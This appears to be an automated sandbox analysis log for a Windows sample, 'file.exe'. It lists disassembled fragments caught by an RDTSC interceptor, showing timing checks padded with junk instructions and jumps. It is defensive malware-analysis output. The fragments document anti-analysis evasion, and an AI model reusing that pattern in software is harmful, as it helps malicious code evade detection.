Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151F94 second address: 1151FC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F162h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push ebx 0x0000000b jng 00007FF0E079F158h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FF0E079F15Fh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115211D second address: 1152122 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1152B6B second address: 1152B6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1152B6F second address: 1152B7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0E0BA4D9Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115726A second address: 115726E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1156DE7 second address: 1156DFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF0E0BA4D9Eh 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1156F6B second address: 1156F7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007FF0E079F156h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1160C83 second address: 1160C87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1165720 second address: 1165732 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FF0E079F15Bh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1173663 second address: 1173681 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4DA2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007FF0E0BA4D98h 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118E9DA second address: 118E9F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FF0E079F156h 0x0000000a pop ecx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 jne 00007FF0E079F156h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118E9F1 second address: 118E9F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118EB46 second address: 118EB5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007FF0E079F168h 0x0000000b jmp 00007FF0E079F15Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118EB5F second address: 118EBB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FF0E0BA4D9Ah 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e jno 00007FF0E0BA4DB0h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push esi 0x00000018 jmp 00007FF0E0BA4DA9h 0x0000001d jnp 00007FF0E0BA4D96h 0x00000023 pop esi 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118EBB1 second address: 118EBBB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118EBBB second address: 118EBC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FF0E0BA4D96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118ED22 second address: 118ED2A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118F16F second address: 118F173 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1192338 second address: 119233C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119259D second address: 11925CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4DA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FF0E0BA4D9Eh 0x0000000e popad 0x0000000f push eax 0x00000010 push esi 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11925CF second address: 11925D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119280E second address: 119289D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4D9Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b jmp 00007FF0E0BA4D9Ah 0x00000010 push dword ptr [ebp+122D2765h] 0x00000016 push 00000000h 0x00000018 push ebx 0x00000019 call 00007FF0E0BA4D98h 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], ebx 0x00000023 add dword ptr [esp+04h], 00000014h 0x0000002b inc ebx 0x0000002c push ebx 0x0000002d ret 0x0000002e pop ebx 0x0000002f ret 0x00000030 xor dx, A5B4h 0x00000035 call 00007FF0E0BA4D99h 0x0000003a jmp 00007FF0E0BA4DA0h 0x0000003f push eax 0x00000040 pushad 0x00000041 jno 00007FF0E0BA4D9Ch 0x00000047 jmp 00007FF0E0BA4D9Dh 0x0000004c popad 0x0000004d mov eax, dword ptr [esp+04h] 0x00000051 pushad 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007FF0E0BA4D9Eh 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119289D second address: 11928D4 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FF0E079F156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FF0E079F169h 0x0000000f popad 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF0E079F15Fh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1195258 second address: 119525E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119525E second address: 1195268 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FF0E079F156h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11970D6 second address: 11970E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 je 00007FF0E0BA4D96h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130F59 second address: 5130FA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F169h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FF0E079F15Eh 0x0000000f push eax 0x00000010 jmp 00007FF0E079F15Bh 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FF0E079F160h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130FA6 second address: 5130FAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130FAC second address: 5130FB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160603 second address: 5160644 instructions: 0x00000000 rdtsc 0x00000002 mov bx, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FF0E0BA4DA9h 0x00000012 add ecx, 26322D66h 0x00000018 jmp 00007FF0E0BA4DA1h 0x0000001d popfd 0x0000001e mov ch, F9h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51000DE second address: 5100130 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF0E079F15Fh 0x00000009 or esi, 55E0158Eh 0x0000000f jmp 00007FF0E079F169h 0x00000014 popfd 0x00000015 mov ax, 3897h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ebp 0x0000001d pushad 0x0000001e mov di, ax 0x00000021 mov dl, cl 0x00000023 popad 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FF0E079F15Dh 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100130 second address: 5100135 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100135 second address: 5100152 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movsx edi, cx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FF0E079F15Eh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100152 second address: 5100158 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100158 second address: 51001DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F15Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushad 0x0000000d mov cx, EAE3h 0x00000011 push ecx 0x00000012 pop edx 0x00000013 popad 0x00000014 push esi 0x00000015 pushad 0x00000016 popad 0x00000017 pop edi 0x00000018 popad 0x00000019 push dword ptr [ebp+04h] 0x0000001c pushad 0x0000001d call 00007FF0E079F169h 0x00000022 jmp 00007FF0E079F160h 0x00000027 pop eax 0x00000028 popad 0x00000029 push dword ptr [ebp+0Ch] 0x0000002c jmp 00007FF0E079F161h 0x00000031 push dword ptr [ebp+08h] 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 jmp 00007FF0E079F163h 0x0000003c mov di, ax 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 510020E second address: 5100212 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5100212 second address: 5100218 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120658 second address: 51206F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4DA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov dx, 8F32h 0x0000000f pushfd 0x00000010 jmp 00007FF0E0BA4DA3h 0x00000015 sub esi, 1A90F12Eh 0x0000001b jmp 00007FF0E0BA4DA9h 0x00000020 popfd 0x00000021 popad 0x00000022 xchg eax, ebp 0x00000023 pushad 0x00000024 mov cx, 2853h 0x00000028 push eax 0x00000029 pushfd 0x0000002a jmp 00007FF0E0BA4D9Fh 0x0000002f sbb ah, 0000003Eh 0x00000032 jmp 00007FF0E0BA4DA9h 0x00000037 popfd 0x00000038 pop esi 0x00000039 popad 0x0000003a mov ebp, esp 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007FF0E0BA4D9Ah 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51206F4 second address: 5120720 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, 6Bh 0x00000005 jmp 00007FF0E079F15Ah 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pop ebp 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FF0E079F167h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51203B0 second address: 51203C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0E0BA4D9Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51203C0 second address: 51203CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51203CF second address: 51203D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51203D3 second address: 51203D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51203D7 second address: 51203DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51203DD second address: 51203E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51203E2 second address: 512040C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FF0E0BA4D9Eh 0x0000000a sbb cl, FFFFFFE8h 0x0000000d jmp 00007FF0E0BA4D9Bh 0x00000012 popfd 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 xchg eax, ebp 0x00000017 pushad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 512040C second address: 5120430 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cx, B3D7h 0x00000008 popad 0x00000009 movzx ecx, bx 0x0000000c popad 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FF0E079F161h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120430 second address: 5120445 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4DA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120445 second address: 512044B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 512044B second address: 512044F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130236 second address: 51302AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF0E079F167h 0x00000009 sbb cl, 0000003Eh 0x0000000c jmp 00007FF0E079F169h 0x00000011 popfd 0x00000012 call 00007FF0E079F160h 0x00000017 pop ecx 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c pushad 0x0000001d mov edi, esi 0x0000001f pushfd 0x00000020 jmp 00007FF0E079F15Ah 0x00000025 sub eax, 53309668h 0x0000002b jmp 00007FF0E079F15Bh 0x00000030 popfd 0x00000031 popad 0x00000032 xchg eax, ebp 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51302AB second address: 51302B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516050D second address: 5160513 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160513 second address: 516055D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4DA4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FF0E0BA4DA0h 0x0000000f push eax 0x00000010 jmp 00007FF0E0BA4D9Bh 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FF0E0BA4DA0h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516055D second address: 516056C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F15Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516056C second address: 5160599 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FF0E0BA4DA2h 0x00000008 pop ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e pushad 0x0000000f mov dx, 1C72h 0x00000013 mov ebx, 5A058DBEh 0x00000018 popad 0x00000019 pop ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5160599 second address: 516059D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 516059D second address: 51605AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4D9Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51605AB second address: 51605B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140314 second address: 514032F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4DA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 514032F second address: 5140365 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FF0E079F169h 0x0000000a and ax, ABB6h 0x0000000f jmp 00007FF0E079F161h 0x00000014 popfd 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140365 second address: 5140381 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4DA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140381 second address: 5140387 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140387 second address: 51403EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4DA5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FF0E0BA4D9Eh 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 movzx ecx, di 0x00000015 popad 0x00000016 mov eax, dword ptr [ebp+08h] 0x00000019 jmp 00007FF0E0BA4DA4h 0x0000001e and dword ptr [eax], 00000000h 0x00000021 jmp 00007FF0E0BA4DA0h 0x00000026 and dword ptr [eax+04h], 00000000h 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51403EA second address: 51403EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51403EE second address: 514040B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4DA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5120598 second address: 51205CD instructions: 0x00000000 rdtsc 0x00000002 movzx esi, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov edx, 0220D0EEh 0x0000000c popad 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FF0E079F15Eh 0x00000018 sbb si, 3138h 0x0000001d jmp 00007FF0E079F15Bh 0x00000022 popfd 0x00000023 push eax 0x00000024 pop ebx 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51205CD second address: 51205D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51205D3 second address: 51205D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130EB9 second address: 5130ECE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov edx, 2EAC51B0h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f mov dh, ch 0x00000011 push eax 0x00000012 push edx 0x00000013 mov ch, dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5130ECE second address: 5130EDC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 51400FA second address: 514013A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov ch, bl 0x00000008 popad 0x00000009 push eax 0x0000000a jmp 00007FF0E0BA4DA9h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF0E0BA4DA8h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 514013A second address: 5140149 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E079F15Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140149 second address: 514017D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4DA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007FF0E0BA4D9Eh 0x00000010 pop ebp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 514017D second address: 5140181 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5140181 second address: 5140187 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150D7B second address: 5150D7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150D7F second address: 5150D9B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0E0BA4DA8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150D9B second address: 5150DAD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0E079F15Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150DAD second address: 5150DB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150DB1 second address: 5150DE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FF0E079F167h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF0E079F160h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150DE7 second address: 5150DEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5150DEB second address: 5150DF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
